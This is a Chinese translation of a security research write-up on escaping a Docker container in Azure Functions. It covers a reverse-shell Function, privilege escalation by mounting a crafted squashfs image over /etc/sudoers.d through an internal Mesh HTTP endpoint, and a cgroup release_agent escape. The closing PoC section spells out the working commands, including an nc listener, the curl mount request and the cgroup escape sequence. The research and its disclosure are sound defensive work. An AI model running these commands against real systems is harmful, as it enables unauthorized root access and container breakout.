摘要
在几个月前,我们发现了Microsoft Azure Network Watcher 和Azure App Services中的安全漏洞,这促使我们调查了其它类型的Azure计算基础结构。我们在Azure Functions中发现了一个新的漏洞,该漏洞允许攻击者提升权限并从Azure Functions Docker容器逃离到Docker主机。
经过内部评估,微软确定该漏洞对Function用户没有安全影响,因为Docker主机本身受到Hyper-V边界的保护。微软已经根据我们的发现进行了更改,以阻止/etc和/sys目录。
诸如此类的案例表明,有时漏洞是不受控制的。攻击者可以通过易受攻击的第三方软件找到入侵内部的方法。尽管应该尽可能地减少攻击面,但还需要确定运行时环境的优先级,以确保系统中没有潜伏的恶意代码。

Azure Functions
Azure Functions是一种无服务器计算服务,允许用户运行代码,而无需配置或管理基础设施。Azure Functions相当于微软的Amazon Web Services的著名Lambda服务。
Azure Functions可以由HTTP请求触发,并且只能运行几分钟以处理该事件。在后台,用户的代码在Azure托管的容器上运行,无需用户管理自己的基础结构即可提供服务。换句话说,如果用户希望走捷径,那他们可以这样做,因为微软会为他们提供。这些代码已经安全地进行了分段,并不能轻易在其受限的环境中逃逸。但是,我们将很快说明在这种情况下如何利用。
我们创建了一个漏洞的演示,模仿攻击者在Azure Functions上执行并提升权限,以实现对Docker主机的完全逃逸。
技术分析
Azure Functions不需要基础结构管理,用户仅需上传他们的代码,就可实现无缝调用Function。在我们的演示中,它是通过HTTP调用的:https://test11114117.azurewebsites.net。
以下是Azure Functio处理程序代码示例:

由于用户可以上传他们选择的任何代码,我们利用这一点来获得Function容器的立足点,并进一步了解它的内部结构。我们写了一个反向shell,一旦Function被执行,就可以连接到我们的控制服务器,这样我们就可以操作一个交互式的shell。如下:

将shell放在我们的Function上时,我们注意到我们是以普通用户“app ”(UID 1000)的身份在一个主机名为 “SandboxHost”的端点上运行,连接到Function反向shell如下:

该环境大多不受实用程序的影响,因此我们在Function目录中添加了一些有用的工具(如比较实用的nmap),然后重新上传了新的Function软件包。
之后,我们使用nmap扫描localhost来了解服务器环境,结果我们发现了多个开放端口。

权限提升
由于我们的目标是找到权限提升漏洞,因此找到root相关进程的sockets非常重要。在查询与网络相关的/proc文件之后,我们能够将端口映射到其相应的进程:

我们发现了三个与root相关的开放端口进程。第一个是NGINX,它是一个经过全面测试的开源项目,但本地的NGINX版本不存在已知漏洞,所以这对我们没有帮助。
MSI和 Mesh 进程可以更好的发现潜在问题,因为它们是封闭的、未记录的微软进程。因此,我们确信它们没有经过比较彻底的测试。
MSI(ManagedService Identity,即托管服务身份)是无服务器模型的功能,它消除了用户管理身份的需求,通过让Azure处理身份来简化开发。
至于Mesh二进制文件,我们找不到太多信息(它与具有类似名称的Azure Fabric Mesh服务无关)。
不幸的是,属于这两个进程的二进制文件位于根下的目录下(如/root/mesh/init),我们无法访问它们。
Mesh似乎记录较少,而且也与我们的目的非常相关,所以我们集中精力寻找这个组件的作用。
在Google中搜索Mesh二进制的参考资料后,我们在Docker Hub中一个属于微软员工的公共Docker镜像的构建日志中找到了“/root/mesh/init ”,我们推断这是有意公开的,因为它可能在内部以某种方式被使用。
我们下载了这个镜像,并使用它创建了一个容器并提取了Mesh Init二进制文件,该二进制文件是从Go代码库编译而成的,出于目的,我们并没有剥离它。
在IDA中打开二进制文件后,我们立即注意到一些有趣的功能——Mesh二进制挂载功能:

执行mount需要root权限,如果非root用户通过HTTP服务器访问此功能,则可能导致权限提升。
带着这个目标,在经过一些逆向工程之后,我们发现了HTTP路径和变量,它们使我们能够调用这些功能,但服务器需要一个HTTP变量来指定要调用的操作:

起初,我们尝试使用mount_RunCifs和mount_RunZip命令,但并没有成功,因为系统缺乏能让这些功能工作的二进制文件。在我们第三次尝试的时候,我们发现了mount_RunSquash函数,其反汇编代码如下:

RunSquash函数将调用squashfuse_ll(在init_server_pkg_mount_runSquashInternal函数中),将 “filePath “HTTP变量提供的路径中给定的squashfs镜像挂载到 ”targetPath “HTTP变量指定的路径上。
借助这些信息,我们建立了自己的squashfs文件系统,其中只包含一个文件,该文件将使用sudoers向无root权限的应用程序用户授予root权限。


我们在新的Function镜像中加入了这个文件,并将恶意的squashfs镜像挂载到/etc/sudoers.d上,实现了为非root用户授予root权限。

Docker逃逸
我们能够升级为root权限, 但仍然只限于我们的容器。在容器内升级到root权限是一个了不起的成就,然而这通常不是攻击者的最终目的。侵入Docker主机能够获取更大的控制权,让他们逃离可能被监控的容器,从而转移到安全方面通常被忽视的Docker主机上。容器经常会被擦掉一些不必要的项目,攻击者可能会发现这些项目很有趣,因此升级到Docker主机可以让他们收集更多的信息来进一步破坏。
使用--privileged标志托管容器,或者授予它们非默认功能,这是一种已知的错误做法,因为这会使Docker的安全功能无效。因为Azure Functions的核心是它的容器,所以我们在对Functions执行之后做的第一件事就是检查容器被授予了哪些功能。这可以通过读取/proc目录中进程的状态文件来实现:

Cap字段与Linux功能机制有关,因此我们不会详细介绍。通过解码Cap位图我们能够列出进程的功能,容器中的所有进程都共享该功能:

我们惊讶地发现,Azure Functions 运行了一些额外的功能,更明显的是,容器是用--privileged标志运行的。
最初,这个发现对我们没有帮助,因为我们使用的是普通用户,而这种情况下可用的Docker 逃逸技术需要root用户。但若是发现“权限提升”漏洞,这一切都将被改变。
使用已知的 Docker逃逸技术,我们在Docker主机上运行了“ ps”:

概括的说,我们使用的技术是由Felix Wilhem发现的利用cgroups中的一个特性,允许在Docker主机上调用二进制文件(只有在SYS_ADMIN权限下,如--privileged标志所给出的)。在PoC中,我们在系统上运行'ps'命令并将其输出重定向到我们的容器化文件系统。
我们在Docker主机上实现了执行,因此我们向微软报告了我们的发现。但经过评估,微软表示这个bug不会影响安全,因此他们决定不修复。因为Docker主机本身并不是最终的主机,它由Hyper-V(虚拟机管理器)管理,并受其沙箱保护,因此我们的容器本质上是一个盒中盒。这个Docker主机只包含我们自己的Docker容器,而真正的主机管理着属于不同Azure客户的不同Azure Functions之间的共享基础架构,我们无法访问它。
PoC
为了使想要探究Docker主机环境的人更轻松地进行复制,我们创建了PoC。它包含如何使用反向shell上传Azure Functions的说明,以便研究者可以自己探测Docker主机,并从中找到一些用途。
在此PoC中,我们将使用squashfs设置反向shell,以升级Azure Function中的权限,并突破Docker环境,如下:
1.安装Azure Functions CLI。
2.按照Azure指南设置Azure功能。
3.将PoC所需的文件复制到Function目录:
cpfiles/__init__.py FUNCTIONDIR/FUNCTIONNAME/__init__.py
cpfiles/sudoers.sqsh FUNCTIONDIR/
4.将FUNCTIONDIR/FUNCTIONNAME/__init__.py文件中的PORT和IP字段填入将与反向shell通信的服务器。
5.部署Function(如上面的指南中所示):
funcazure functionapp publish
6.侦听反向Shell端口(注意在防火墙上将此端口列入白名单):
nc-nlv 0.0.0.0 PORT
并使用functionapp publish命令提供的调用URL调用功能。
7.现在应该在 Azure Function 中,升级权限。
curl"localhost:6060/?operation=squashfs&filePath=/home/site/wwwroot/sudoers.sqsh&targetPath=/etc/sudoers.d"
sudosu
8.最后脱离Docker容器(我们的示例是在Docker主机上运行ps)。
mkdir/tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir/tmp/cgrp/x
touch/output
echo1 > /tmp/cgrp/x/notify_on_release
mount> /tmp/mtab
host_path=`sed-n 's/.*\perdir=\([^,]*\).*/\1/p' /tmp/mtab`
echo"$host_path/cmd" > /tmp/cgrp/release_agent
echo'#!/bin/sh' > /cmd
echo"ps aux >> $host_path/hostps" >> /cmd
echo"ps aux >> $host_path/hostps2" >> /cmd
chmoda+x /cmd
sh-c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
PoC视频链接:
https://youtu.be/YXIf3Xl1eZ8
总结
无论如何保护代码,有时漏洞都是无法控制的。至关重要的是,当攻击者在生产环境中执行未经授权的代码时,必须采取保护措施。
可以使用Cloud Workload Protection Platform(CWPP)来监视运行时环境,以检测并阻止漏洞利用或其它攻击媒介之后的任何未授权代码执行。
原文链接:
https://www.intezer.com/blog/research/how-we-escaped-docker-in-azure-functions/